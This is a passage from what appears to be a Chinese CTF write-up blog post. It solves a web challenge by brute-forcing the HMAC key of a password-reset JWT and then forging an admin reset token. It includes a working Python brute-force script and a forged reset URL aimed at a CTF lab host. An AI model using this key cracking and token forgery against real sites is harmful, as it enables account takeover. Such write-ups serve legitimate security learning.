mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
首页 / CTF / Web-2-组合拳!
276 字
1 分钟
Web-2-组合拳!
2024-11-26
无标签

打开发现是登录页面。

尝试 admin 加随机密码无效,也没有提示用户是否存在,直接换思路。

注册账号#

可以注册,但登录后显示没有权限,看来必须是 admin 账号才行。

重置密码突破口#

注意到有重置密码功能,查了一下资料。

重置密码会发送带 JWT token 的链接。可以用自己注册的账号先拿到一个合法 token,然后暴力破解 JWT 的签名密钥,再伪造 admin 的重置链接。

dirsearch 扫描#

暴力破解 JWT 密钥#

from authlib.jose import jwt
from authlib.jose.errors import BadSignatureError
from string import ascii_letters, digits
from itertools import product
from tqdm import tqdm
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiOTA5NzI3NzE1QHFxLmNvbSIsImVtYWlsIjoiOTA5NzI3NzE1QHFxLmNvbSIsInR5cGUiOjN9.Fxhwn5QJl74QAMVcYzLAXdT1tgies-IAWiXGoghWXBA"
# 忽略特殊符号,仅遍历字母和数字组合
for i in tqdm(product(list(ascii_letters + digits), repeat=4), desc='attaching...'):
i = "".join(i)
try:
jwt.decode(token, key=i)
exit(f'key: {i}')
except BadSignatureError:
continue

伪造 Admin 重置链接#

拿到密钥后,用相同密钥签发 admin 邮箱的重置 token:

构造重置链接访问:

http://node6.anna.nssctf.cn:20562/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjMsImV4cCI6MTczMjYyNjkxOH0.ff-9dF2mQvNTyYpSF0OxZ2dR_iKzvZOugtaIYH7nFQI

登录后台#

成功重置 admin 密码后登录,发现资源下载器,base64 解码得到 printf("hello world"),继续分析。

总结#

  • JWT 暴力破解密钥
  • 伪造重置密码链接
  • 组合拳:注册账号 → 获取 JWT → 爆破密钥 → 伪造 admin token → 重置密码
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Web-2-组合拳!
https://npiter.de/posts/web-2-组合拳/
作者
piter
发布于
2024-11-26
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00